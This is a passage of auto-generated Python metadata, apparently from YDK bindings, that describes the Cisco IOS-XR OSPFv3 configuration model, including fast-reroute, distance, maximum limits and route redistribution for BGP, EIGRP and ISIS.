'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('trap-rate-limit', REFERENCE_CLASS, 'TrapRateLimit' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg', 'Ospfv3.Processes.Process.Vrfs.Vrf.Snmp.TrapRateLimit',
[], [],
''' SNMP trap rate configuration
''',
'trap_rate_limit',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
],
'Cisco-IOS-XR-ipv6-ospfv3-cfg',
'snmp',
_yang_ns._namespaces['Cisco-IOS-XR-ipv6-ospfv3-cfg'],
'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg'
),
},
'Ospfv3.Processes.Process.Vrfs.Vrf.FastReroute.PerLink' : {
'meta_info' : _MetaInfoClass('Ospfv3.Processes.Process.Vrfs.Vrf.FastReroute.PerLink',
False,
[
_MetaInfoClassMember('priority', REFERENCE_ENUM_CLASS, 'Ospfv3FastReroutePriorityEnum' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg', 'Ospfv3FastReroutePriorityEnum',
[], [],
''' Fast-reroute per-link/per-prefix priority-limit
command
''',
'priority',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
],
'Cisco-IOS-XR-ipv6-ospfv3-cfg',
'per-link',
_yang_ns._namespaces['Cisco-IOS-XR-ipv6-ospfv3-cfg'],
'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg'
),
},
'Ospfv3.Processes.Process.Vrfs.Vrf.FastReroute.PerPrefix.Tiebreakers.Tiebreaker' : {
'meta_info' : _MetaInfoClass('Ospfv3.Processes.Process.Vrfs.Vrf.FastReroute.PerPrefix.Tiebreakers.Tiebreaker',
False,
[
_MetaInfoClassMember('tiebreaker-type', REFERENCE_ENUM_CLASS, 'Ospfv3FastRerouteTiebreakersEnum' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg', 'Ospfv3FastRerouteTiebreakersEnum',
[], [],
''' Tiebreaker type
''',
'tiebreaker_type',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', True),
_MetaInfoClassMember('tiebreaker-index', ATTRIBUTE, 'int' , None, None,
[('1', '255')], [],
''' Index value for a tiebreaker
''',
'tiebreaker_index',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
],
'Cisco-IOS-XR-ipv6-ospfv3-cfg',
'tiebreaker',
_yang_ns._namespaces['Cisco-IOS-XR-ipv6-ospfv3-cfg'],
'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg'
),
},
'Ospfv3.Processes.Process.Vrfs.Vrf.FastReroute.PerPrefix.Tiebreakers' : {
'meta_info' : _MetaInfoClass('Ospfv3.Processes.Process.Vrfs.Vrf.FastReroute.PerPrefix.Tiebreakers',
False,
[
_MetaInfoClassMember('tiebreaker', REFERENCE_LIST, 'Tiebreaker' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg', 'Ospfv3.Processes.Process.Vrfs.Vrf.FastReroute.PerPrefix.Tiebreakers.Tiebreaker',
[], [],
''' Fast-reroute tiebreakers configuration
''',
'tiebreaker',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
],
'Cisco-IOS-XR-ipv6-ospfv3-cfg',
'tiebreakers',
_yang_ns._namespaces['Cisco-IOS-XR-ipv6-ospfv3-cfg'],
'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg'
),
},
'Ospfv3.Processes.Process.Vrfs.Vrf.FastReroute.PerPrefix' : {
'meta_info' : _MetaInfoClass('Ospfv3.Processes.Process.Vrfs.Vrf.FastReroute.PerPrefix',
False,
[
_MetaInfoClassMember('load-sharing-disable', ATTRIBUTE, 'Empty' , None, None,
[], [],
''' Disable load sharing between multiple backups
''',
'load_sharing_disable',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('priority', REFERENCE_ENUM_CLASS, 'Ospfv3FastReroutePriorityEnum' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg', 'Ospfv3FastReroutePriorityEnum',
[], [],
''' Fast-reroute per-link/per-prefix priority-limit
command
''',
'priority',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('tiebreakers', REFERENCE_CLASS, 'Tiebreakers' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg', 'Ospfv3.Processes.Process.Vrfs.Vrf.FastReroute.PerPrefix.Tiebreakers',
[], [],
''' Fast-reroute tiebreakers configurations
''',
'tiebreakers',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
],
'Cisco-IOS-XR-ipv6-ospfv3-cfg',
'per-prefix',
_yang_ns._namespaces['Cisco-IOS-XR-ipv6-ospfv3-cfg'],
'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg'
),
},
'Ospfv3.Processes.Process.Vrfs.Vrf.FastReroute' : {
'meta_info' : _MetaInfoClass('Ospfv3.Processes.Process.Vrfs.Vrf.FastReroute',
False,
[
_MetaInfoClassMember('per-link', REFERENCE_CLASS, 'PerLink' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg', 'Ospfv3.Processes.Process.Vrfs.Vrf.FastReroute.PerLink',
[], [],
''' Fast-reroute per-link global configuration
''',
'per_link',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('per-prefix', REFERENCE_CLASS, 'PerPrefix' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg', 'Ospfv3.Processes.Process.Vrfs.Vrf.FastReroute.PerPrefix',
[], [],
''' Fast-reroute per-prefix global configuration
''',
'per_prefix',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
],
'Cisco-IOS-XR-ipv6-ospfv3-cfg',
'fast-reroute',
_yang_ns._namespaces['Cisco-IOS-XR-ipv6-ospfv3-cfg'],
'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg'
),
},
'Ospfv3.Processes.Process.Vrfs.Vrf.Distance.Ospfv3_' : {
'meta_info' : _MetaInfoClass('Ospfv3.Processes.Process.Vrfs.Vrf.Distance.Ospfv3_',
False,
[
_MetaInfoClassMember('external', ATTRIBUTE, 'int' , None, None,
[('1', '255')], [],
''' Distance for external type 5 and type 7 routes
''',
'external',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('inter-area', ATTRIBUTE, 'int' , None, None,
[('1', '255')], [],
''' Distance for inter-area routes
''',
'inter_area',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('intra-area', ATTRIBUTE, 'int' , None, None,
[('1', '255')], [],
''' Distance for intra-area routes
''',
'intra_area',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
],
'Cisco-IOS-XR-ipv6-ospfv3-cfg',
'ospfv3',
_yang_ns._namespaces['Cisco-IOS-XR-ipv6-ospfv3-cfg'],
'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg'
),
},
'Ospfv3.Processes.Process.Vrfs.Vrf.Distance' : {
'meta_info' : _MetaInfoClass('Ospfv3.Processes.Process.Vrfs.Vrf.Distance',
False,
[
_MetaInfoClassMember('administrative', ATTRIBUTE, 'int' , None, None,
[('1', '255')], [],
''' Define an administrative distance
''',
'administrative',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('ospfv3', REFERENCE_CLASS, 'Ospfv3_' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg', 'Ospfv3.Processes.Process.Vrfs.Vrf.Distance.Ospfv3_',
[], [],
''' OSPFv3 administrative distance
''',
'ospfv3',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
],
'Cisco-IOS-XR-ipv6-ospfv3-cfg',
'distance',
_yang_ns._namespaces['Cisco-IOS-XR-ipv6-ospfv3-cfg'],
'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg'
),
},
'Ospfv3.Processes.Process.Vrfs.Vrf.Maximum.RedistributedPrefixes' : {
'meta_info' : _MetaInfoClass('Ospfv3.Processes.Process.Vrfs.Vrf.Maximum.RedistributedPrefixes',
False,
[
_MetaInfoClassMember('prefixes', ATTRIBUTE, 'int' , None, None,
[('1', '4294967295')], [],
''' Maximum number of prefixes redistributed to
protocol
''',
'prefixes',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('threshold', ATTRIBUTE, 'int' , None, None,
[('1', '100')], [],
''' Threshold value (%) at which to generate a
warning message
''',
'threshold',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('warning-only', ATTRIBUTE, 'Empty' , None, None,
[], [],
''' Only give warning message when limit is
exceeded
''',
'warning_only',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
],
'Cisco-IOS-XR-ipv6-ospfv3-cfg',
'redistributed-prefixes',
_yang_ns._namespaces['Cisco-IOS-XR-ipv6-ospfv3-cfg'],
'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg'
),
},
'Ospfv3.Processes.Process.Vrfs.Vrf.Maximum' : {
'meta_info' : _MetaInfoClass('Ospfv3.Processes.Process.Vrfs.Vrf.Maximum',
False,
[
_MetaInfoClassMember('interfaces', ATTRIBUTE, 'int' , None, None,
[('1', '4294967295')], [],
''' Specify maximum number of interfaces
''',
'interfaces',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('paths', ATTRIBUTE, 'int' , None, None,
[('1', '64')], [],
''' Specify maximum number of paths per route
''',
'paths',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('redistributed-prefixes', REFERENCE_CLASS, 'RedistributedPrefixes' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg', 'Ospfv3.Processes.Process.Vrfs.Vrf.Maximum.RedistributedPrefixes',
[], [],
''' Limit number of redistributed prefixes
''',
'redistributed_prefixes',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
],
'Cisco-IOS-XR-ipv6-ospfv3-cfg',
'maximum',
_yang_ns._namespaces['Cisco-IOS-XR-ipv6-ospfv3-cfg'],
'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg'
),
},
'Ospfv3.Processes.Process.Vrfs.Vrf.Redistributes.Redistribute.ConnectedOrStaticOrSubscriberOrMobile' : {
'meta_info' : _MetaInfoClass('Ospfv3.Processes.Process.Vrfs.Vrf.Redistributes.Redistribute.ConnectedOrStaticOrSubscriberOrMobile',
False,
[
_MetaInfoClassMember('default-metric', ATTRIBUTE, 'int' , None, None,
[('0', '16777214')], [],
''' OSPFv3 default metric
''',
'default_metric',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('eigrp-route-type', REFERENCE_ENUM_CLASS, 'Ospfv3EigrpRouteEnum' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg', 'Ospfv3EigrpRouteEnum',
[], [],
''' EIGRP route type
''',
'eigrp_route_type',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('external-route-type', REFERENCE_ENUM_CLASS, 'Ospfv3ExternalRouteEnum' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg', 'Ospfv3ExternalRouteEnum',
[], [],
''' Redistribute OSPFv3 external routes
''',
'external_route_type',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('internal-route-type', REFERENCE_ENUM_CLASS, 'Ospfv3InternalRouteEnum' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg', 'Ospfv3InternalRouteEnum',
[], [],
''' Redistribute OSPFv3 routes
''',
'internal_route_type',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('isis-route-type', REFERENCE_ENUM_CLASS, 'Ospfv3IsisRouteEnum' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg', 'Ospfv3IsisRouteEnum',
[], [],
''' ISIS route type
''',
'isis_route_type',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('metric-type', REFERENCE_ENUM_CLASS, 'Ospfv3MetricEnum' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg', 'Ospfv3MetricEnum',
[], [],
''' OSPFv3 exterior metric type for redistributed
routes
''',
'metric_type',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('nssa-external-route-type', REFERENCE_ENUM_CLASS, 'Ospfv3NssaExternalRouteEnum' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg', 'Ospfv3NssaExternalRouteEnum',
[], [],
''' Redistribute OSPFv3 NSSA external routes
''',
'nssa_external_route_type',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('preserve-med', ATTRIBUTE, 'Empty' , None, None,
[], [],
''' Preserve (Multi-Exit Discriminator) of BGP
routes
''',
'preserve_med',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('preserve-med-info', ATTRIBUTE, 'Empty' , None, None,
[], [],
''' Preserve Information (Multi-Exit
Discriminator) of BGP routes
''',
'preserve_med_info',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('redistribute-route', ATTRIBUTE, 'bool' , None, None,
[], [],
''' Redistribution of OSPFv3 routes
''',
'redistribute_route',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('route-policy-name', ATTRIBUTE, 'str' , None, None,
[], [],
''' Route policy to redistribution
''',
'route_policy_name',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('tag', ATTRIBUTE, 'int' , None, None,
[('-2147483648', '2147483647')], [],
''' Tag for routes redistributed into OSPFv3
''',
'tag',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
],
'Cisco-IOS-XR-ipv6-ospfv3-cfg',
'connected-or-static-or-subscriber-or-mobile',
_yang_ns._namespaces['Cisco-IOS-XR-ipv6-ospfv3-cfg'],
'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg'
),
},
'Ospfv3.Processes.Process.Vrfs.Vrf.Redistributes.Redistribute.Bgp' : {
'meta_info' : _MetaInfoClass('Ospfv3.Processes.Process.Vrfs.Vrf.Redistributes.Redistribute.Bgp',
False,
[
_MetaInfoClassMember('as-xx', ATTRIBUTE, 'int' , None, None,
[('0', '65535')], [],
''' 4-byte AS number in asdot (X.Y) format -
first half (X)
''',
'as_xx',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', True),
_MetaInfoClassMember('as-yy', ATTRIBUTE, 'int' , None, None,
[('0', '4294967295')], [],
''' 4-byte AS number in asdot (X.Y) format -
second half (Y), or 2-byte AS number, or
4-byte AS number in asplain format
''',
'as_yy',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', True),
_MetaInfoClassMember('default-metric', ATTRIBUTE, 'int' , None, None,
[('0', '16777214')], [],
''' OSPFv3 default metric
''',
'default_metric',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('eigrp-route-type', REFERENCE_ENUM_CLASS, 'Ospfv3EigrpRouteEnum' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg', 'Ospfv3EigrpRouteEnum',
[], [],
''' EIGRP route type
''',
'eigrp_route_type',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('external-route-type', REFERENCE_ENUM_CLASS, 'Ospfv3ExternalRouteEnum' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg', 'Ospfv3ExternalRouteEnum',
[], [],
''' Redistribute OSPFv3 external routes
''',
'external_route_type',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('internal-route-type', REFERENCE_ENUM_CLASS, 'Ospfv3InternalRouteEnum' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg', 'Ospfv3InternalRouteEnum',
[], [],
''' Redistribute OSPFv3 routes
''',
'internal_route_type',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('isis-route-type', REFERENCE_ENUM_CLASS, 'Ospfv3IsisRouteEnum' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg', 'Ospfv3IsisRouteEnum',
[], [],
''' ISIS route type
''',
'isis_route_type',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('metric-type', REFERENCE_ENUM_CLASS, 'Ospfv3MetricEnum' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg', 'Ospfv3MetricEnum',
[], [],
''' OSPFv3 exterior metric type for redistributed
routes
''',
'metric_type',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('nssa-external-route-type', REFERENCE_ENUM_CLASS, 'Ospfv3NssaExternalRouteEnum' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg', 'Ospfv3NssaExternalRouteEnum',
[], [],
''' Redistribute OSPFv3 NSSA external routes
''',
'nssa_external_route_type',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('preserve-med', ATTRIBUTE, 'Empty' , None, None,
[], [],
''' Preserve (Multi-Exit Discriminator) of BGP
routes
''',
'preserve_med',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('preserve-med-info', ATTRIBUTE, 'Empty' , None, None,
[], [],
''' Preserve Information (Multi-Exit
Discriminator) of BGP routes
''',
'preserve_med_info',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('redistribute-route', ATTRIBUTE, 'bool' , None, None,
[], [],
''' Redistribution of OSPFv3 routes
''',
'redistribute_route',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('route-policy-name', ATTRIBUTE, 'str' , None, None,
[], [],
''' Route policy to redistribution
''',
'route_policy_name',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('tag', ATTRIBUTE, 'int' , None, None,
[('-2147483648', '2147483647')], [],
''' Tag for routes redistributed into OSPFv3
''',
'tag',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
],
'Cisco-IOS-XR-ipv6-ospfv3-cfg',
'bgp',
_yang_ns._namespaces['Cisco-IOS-XR-ipv6-ospfv3-cfg'],
'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg'
),
},
'Ospfv3.Processes.Process.Vrfs.Vrf.Redistributes.Redistribute.Ospfv3OrIsisOrApplication' : {
'meta_info' : _MetaInfoClass('Ospfv3.Processes.Process.Vrfs.Vrf.Redistributes.Redistribute.Ospfv3OrIsisOrApplication',
False,
[
_MetaInfoClassMember('process-name', ATTRIBUTE, 'str' , None, None,
[], ['[\\w\\-\\.:,_@#%$\\+=\\|;]+'],
''' ISIS process name if protocol is ISIS, or
OSPFv3 process name if protocol is OSPFv3
''',
'process_name',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', True),
_MetaInfoClassMember('default-metric', ATTRIBUTE, 'int' , None, None,
[('0', '16777214')], [],
''' OSPFv3 default metric
''',
'default_metric',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('eigrp-route-type', REFERENCE_ENUM_CLASS, 'Ospfv3EigrpRouteEnum' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg', 'Ospfv3EigrpRouteEnum',
[], [],
''' EIGRP route type
''',
'eigrp_route_type',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('external-route-type', REFERENCE_ENUM_CLASS, 'Ospfv3ExternalRouteEnum' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg', 'Ospfv3ExternalRouteEnum',
[], [],
''' Redistribute OSPFv3 external routes
''',
'external_route_type',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('internal-route-type', REFERENCE_ENUM_CLASS, 'Ospfv3InternalRouteEnum' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg', 'Ospfv3InternalRouteEnum',
[], [],
''' Redistribute OSPFv3 routes
''',
'internal_route_type',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('isis-route-type', REFERENCE_ENUM_CLASS, 'Ospfv3IsisRouteEnum' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg', 'Ospfv3IsisRouteEnum',
[], [],
''' ISIS route type
''',
'isis_route_type',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('metric-type', REFERENCE_ENUM_CLASS, 'Ospfv3MetricEnum' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg', 'Ospfv3MetricEnum',
[], [],
''' OSPFv3 exterior metric type for redistributed
routes
''',
'metric_type',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('nssa-external-route-type', REFERENCE_ENUM_CLASS, 'Ospfv3NssaExternalRouteEnum' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg', 'Ospfv3NssaExternalRouteEnum',
[], [],
''' Redistribute OSPFv3 NSSA external routes
''',
'nssa_external_route_type',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('preserve-med', ATTRIBUTE, 'Empty' , None, None,
[], [],
''' Preserve (Multi-Exit Discriminator) of BGP
routes
''',
'preserve_med',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('preserve-med-info', ATTRIBUTE, 'Empty' , None, None,
[], [],
''' Preserve Information (Multi-Exit
Discriminator) of BGP routes
''',
'preserve_med_info',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('redistribute-route', ATTRIBUTE, 'bool' , None, None,
[], [],
''' Redistribution of OSPFv3 routes
''',
'redistribute_route',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('route-policy-name', ATTRIBUTE, 'str' , None, None,
[], [],
''' Route policy to redistribution
''',
'route_policy_name',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('tag', ATTRIBUTE, 'int' , None, None,
[('-2147483648', '2147483647')], [],
''' Tag for routes redistributed into OSPFv3
''',
'tag',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
],
'Cisco-IOS-XR-ipv6-ospfv3-cfg',
'ospfv3-or-isis-or-application',
_yang_ns._namespaces['Cisco-IOS-XR-ipv6-ospfv3-cfg'],
'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg'
),
},
'Ospfv3.Processes.Process.Vrfs.Vrf.Redistributes.Redistribute.Eigrp' : {
'meta_info' : _MetaInfoClass('Ospfv3.Processes.Process.Vrfs.Vrf.Redistributes.Redistribute.Eigrp',
False,
[
_MetaInfoClassMember('as-xx', ATTRIBUTE, 'int' , None, None,
[('0', '65535')], [],
''' 4-byte AS number in asdot (X.Y) format -
first half (X)
''',
'as_xx',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', True),
_MetaInfoClassMember('default-metric', ATTRIBUTE, 'int' , None, None,
[('0', '16777214')], [],
''' OSPFv3 default metric
''',
'default_metric',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('eigrp-route-type', REFERENCE_ENUM_CLASS, 'Ospfv3EigrpRouteEnum' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg', 'Ospfv3EigrpRouteEnum',
[], [],
''' EIGRP route type
''',
'eigrp_route_type',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('external-route-type', REFERENCE_ENUM_CLASS, 'Ospfv3ExternalRouteEnum' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg', 'Ospfv3ExternalRouteEnum',
[], [],
''' Redistribute OSPFv3 external routes
''',
'external_route_type',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('internal-route-type', REFERENCE_ENUM_CLASS, 'Ospfv3InternalRouteEnum' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg', 'Ospfv3InternalRouteEnum',
[], [],
''' Redistribute OSPFv3 routes
''',
'internal_route_type',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('isis-route-type', REFERENCE_ENUM_CLASS, 'Ospfv3IsisRouteEnum' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg', 'Ospfv3IsisRouteEnum',
[], [],
''' ISIS route type
''',
'isis_route_type',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('metric-type', REFERENCE_ENUM_CLASS, 'Ospfv3MetricEnum' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg', 'Ospfv3MetricEnum',
[], [],
''' OSPFv3 exterior metric type for redistributed
routes
''',
'metric_type',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('nssa-external-route-type', REFERENCE_ENUM_CLASS, 'Ospfv3NssaExternalRouteEnum' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg', 'Ospfv3NssaExternalRouteEnum',
[], [],
''' Redistribute OSPFv3 NSSA external routes
''',
'nssa_external_route_type',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('preserve-med', ATTRIBUTE, 'Empty' , None, None,
[], [],
''' Preserve (Multi-Exit Discriminator) of BGP
routes
''',
'preserve_med',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('preserve-med-info', ATTRIBUTE, 'Empty' , None, None,
[], [],
''' Preserve Information (Multi-Exit
Discriminator) of BGP routes
''',
'preserve_med_info',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('redistribute-route', ATTRIBUTE, 'bool' , None, None,
[], [],
''' Redistribution of OSPFv3 routes
''',
'redistribute_route',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('route-policy-name', ATTRIBUTE, 'str' , None, None,
[], [],
''' Route policy to redistribution
''',
'route_policy_name',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('tag', ATTRIBUTE, 'int' , None, None,
[('-2147483648', '2147483647')], [],
''' Tag for routes redistributed into OSPFv3
''',
'tag',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
],
'Cisco-IOS-XR-ipv6-ospfv3-cfg',
'eigrp',
_yang_ns._namespaces['Cisco-IOS-XR-ipv6-ospfv3-cfg'],
'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg'
),
},
'Ospfv3.Processes.Process.Vrfs.Vrf.Redistributes.Redistribute' : {
'meta_info' : _MetaInfoClass('Ospfv3.Processes.Process.Vrfs.Vrf.Redistributes.Redistribute',
False,
[
_MetaInfoClassMember('protocol-name', REFERENCE_ENUM_CLASS, 'Ospfv3ProtocolType2Enum' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg', 'Ospfv3ProtocolType2Enum',
[], [],
''' Protocol
''',
'protocol_name',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', True),
_MetaInfoClassMember('bgp', REFERENCE_LIST, 'Bgp' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg', 'Ospfv3.Processes.Process.Vrfs.Vrf.Redistributes.Redistribute.Bgp',
[], [],
''' bgp
''',
'bgp',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('connected-or-static-or-subscriber-or-mobile', REFERENCE_CLASS, 'ConnectedOrStaticOrSubscriberOrMobile' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg', 'Ospfv3.Processes.Process.Vrfs.Vrf.Redistributes.Redistribute.ConnectedOrStaticOrSubscriberOrMobile',
[], [],
''' connected or static or subscriber or mobile
''',
'connected_or_static_or_subscriber_or_mobile',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('eigrp', REFERENCE_LIST, 'Eigrp' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg', 'Ospfv3.Processes.Process.Vrfs.Vrf.Redistributes.Redistribute.Eigrp',
[], [],
''' eigrp
''',
'eigrp',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
